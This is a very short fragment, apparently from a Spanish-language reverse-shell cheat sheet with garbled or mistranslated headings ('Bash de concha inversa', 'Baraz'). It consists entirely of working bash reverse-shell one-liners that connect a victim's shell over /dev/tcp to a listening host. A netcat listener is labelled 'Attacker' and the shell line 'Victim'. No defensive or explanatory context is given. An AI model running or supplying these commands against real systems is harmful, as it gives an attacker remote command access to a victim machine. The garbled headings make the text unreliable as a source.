Bash de concha inversa
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Baraz
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
nc -l -p 9000 -vvv # Attacker